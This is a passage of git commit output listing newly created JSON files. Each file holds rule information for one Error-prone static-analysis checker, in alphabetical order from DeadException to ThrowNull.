Analysis Tool/Error-prone/Rule Information/checkers/DeadException.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeadThread.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeduplicateConstants.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeeplyNested.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultCharset.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultLocale.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DefaultPackage.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DepAnn.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DeprecatedVariable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DifferentNameButSame.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DirectInvocationOnMock.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DiscardedPostfixExpression.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DistinctVarargsChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotCallChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotCallSuggester.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotClaimAnnotations.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotMockAutoValue.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotMockChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoubleBraceInitialization.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateBranches.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateDateFormatField.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateMapKeys.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EffectivelyPrivate.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyCatch.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyIfStatement.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EmptyTopLevelDeclaration.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EnumOrdinal.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsGetClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsHashCode.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsIncompatibleType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsNaN.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsNull.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsReference.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsUnsafeCast.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsUsingHashCode.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/EqualsWrongThing.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ErroneousBitwiseExpression.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ErroneousThreadPoolConstructorChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExpectedExceptionChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExpensiveLenientFormatString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExtendingJUnitAssert.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ExtendsAutoValue.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FallThrough.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeFinal.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeLocal.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FieldCanBeStatic.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Finalize.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Finally.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatCast.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatingPointAssertionWithinEpsilon.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FloatingPointLiteralPrecision.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ForEachIterable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ForOverrideChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FunctionalInterfaceClash.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FunctionalInterfaceMethodChanged.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FutureReturnValueIgnored.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FutureTransformAsync.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FuturesGetCheckedIllegalExceptionType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/FuzzyEqualsShouldNotBeUsedInEqualsMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GetClassOnEnum.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/GuiceNestedCombine.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/HashtableContains.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/HidingField.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ICCProfileGetInstance.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentifierName.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityBinaryExpression.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityHashMapBoxing.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IdentityHashMapUsage.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IgnoredPureGetter.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImmutableMemberCollection.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImmutableSetForContains.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImplementAssertionWithChaining.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ImpossibleNullComparison.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Incomparable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncompatibleModifiersChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InconsistentCapitalization.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InconsistentHashCode.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncorrectMainMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IncrementInForLoopAndHeader.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IndexOfChar.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InexactVarargsConditional.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InfiniteRecursion.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InitializeInline.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InjectOnBugCheckers.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InlineTrivialConstant.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InputStreamSlowMultibyteRead.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InsecureCipherMode.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InstanceOfAndCastMatchWrongType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntFloatConversion.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntLiteralCast.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IntLongMath.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InterfaceWithOnlyStatics.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InterruptedExceptionSwallowed.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Interruption.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidPatternSyntax.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidTimeZoneID.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/InvalidZoneId.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IsInstanceIncompatibleType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IsInstanceOfClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IterableAndIterator.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/IterablePathParameter.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit3FloatingPointComparisonWithoutDelta.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit3TestNotRun.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4ClassAnnotationNonStatic.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4ClassUsedInJUnit3.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4EmptyMethods.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4SetUpNotRun.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TearDownNotRun.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TestNotRun.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnit4TestsNotRunWithinEnclosed.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitAmbiguousTestClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitAssertSameCheck.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JUnitParameterMethodNotFound.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JavaLangClash.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JavaUtilDateChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/JdkObsolete.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LabelledBreakTarget.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LambdaFunctionalInterface.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteByteStringUtf8.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteEnumValueOf.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LiteProtoToString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockNotBeforeTry.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockOnBoxedPrimitive.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LockOnNonEnclosingClassLiteral.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LogicalAssignment.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongDoubleConversion.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongFloatConversion.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LongLiteralLowerCaseSuffix.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LoopConditionChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LoopOverCharArray.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/LossyPrimitiveCompare.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MathAbsoluteNegative.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MathRoundIntLong.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MemoizeConstantVisitorStateLookups.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MethodCanBeStatic.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisformattedTestData.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisleadingEmptyVarargs.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisleadingEscapedSpace.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingBraces.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingCasesInEnumSwitch.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingDefault.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingFail.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingImplementsComparable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingOverride.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingRefasterAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingSuperCall.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingTestCall.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisusedDayOfYear.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MisusedWeekYear.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedArrayDimensions.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedDescriptors.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MixedMutabilityReturnType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockIllegalThrows.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockNotUsedInProduction.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockitoDoSetup.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MockitoUsage.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifiedButNotUsed.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifyCollectionInEnhancedForLoop.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifySourceCollectionInStream.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ModifyingCollectionWithItself.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultiVariableDeclaration.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultimapKeys.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleParallelOrSequentialCalls.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleTopLevelClasses.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleUnaryOperatorsInMethodCall.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MustBeClosedChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MutableGuiceModule.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MutablePublicArray.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NCopiesOfChar.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NamedLikeContextualKeyword.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NarrowCalculation.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NarrowingCompoundAssignment.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NegativeBoolean.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NegativeCharLiteral.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NestedInstanceOfConditions.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NewFileSystem.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NoAllocationChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonApiType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonAtomicVolatileUpdate.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalStaticImport.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalStaticMemberImport.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonCanonicalType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonFinalCompileTimeConstant.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonFinalStaticField.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonOverridingEquals.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NonRuntimeAnnotation.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullOptional.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullTernary.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableConstructor.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableOnContainingClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableOptional.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/NullableVoid.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectEqualsForPrimitives.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectToString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ObjectsHashCodePrimitive.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OperatorPrecedence.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalEquality.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalMapToOptional.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalMapUnusedValue.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalNotPresent.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OptionalOfRedundantMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OrphanedFormatString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OutlineNone.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OverrideThrowableToString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/Overrides.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/OverridingMethodInconsistentArgumentNamesChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PackageInfo.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PackageLocation.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParameterComment.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParameterName.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ParametersButNotParameterized.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PatternMatchingInstanceof.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreconditionsCheckNotNullRepeated.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreconditionsInvalidPlaceholder.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreferInstanceofOverGetKind.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PreferredInterfaceType.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrimitiveArrayPassedToVarargsMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrimitiveAtomicReference.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrivateConstructorForUtilityClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PrivateSecurityContractProtoAccess.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtectedMembersInFinalClass.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoBuilderReturnValueIgnored.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoStringFieldReferenceEquality.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtoTruthMixedDescriptors.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ProtocolBufferOrdinal.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/PublicApiNamedStreamShouldReturnStream.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RandomModInteger.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReachabilityFenceUsage.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantControlFlow.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantOverride.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantSetterCall.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RedundantThrows.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReferenceEquality.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RemoveUnusedImports.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RequiredModifiersChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RestrictedApiChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RethrowReflectiveOperationExceptionAsLinkageError.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnAtTheEndOfVoidFunction.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnValueIgnored.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ReturnsNullCollection.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RobolectricShadowDirectlyOn.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RuleNotRun.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/RxReturnValueIgnored.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SameNameButDifferent.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAlwaysReturnsThis.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAssertion.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfAssignment.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfComparison.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfEquals.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfSet.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SetUnrecognized.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ShortCircuitBoolean.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ShouldHaveEvenArgs.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SizeGreaterThanOrEqualsZero.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StatementSwitchToExpressionSwitch.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticAssignmentInConstructor.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticAssignmentOfThrowable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticMockMember.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticQualifiedUsingExpression.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamResourceLeak.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamToIterable.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamToString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringBuilderInitWithChar.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringCaseLocaleUsage.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringCharset.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringConcatToTextBlock.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringFormatWithLiteral.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringSplitter.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StronglyTypeByteString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SubstringOfZero.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SunApi.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuperCallToObjectMethod.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuppressWarningsDeprecated.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SuppressWarningsWithoutExplanation.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SwigMemoryLeak.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SwitchDefault.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SymbolToString.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemConsoleNull.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemExitOutsideMain.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SystemOut.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TestExceptionChecker.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TestParametersNotInitialized.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/TheoryButNoTheories.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreadJoinLoop.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreadLocalUsage.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThreeLetterTimeZoneID.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowIfUncheckedKnownChecked.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowIfUncheckedKnownUnchecked.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ThrowNull.json create mode 100644 Raw Data/Static Analysis Tool/Error-prone/Rule 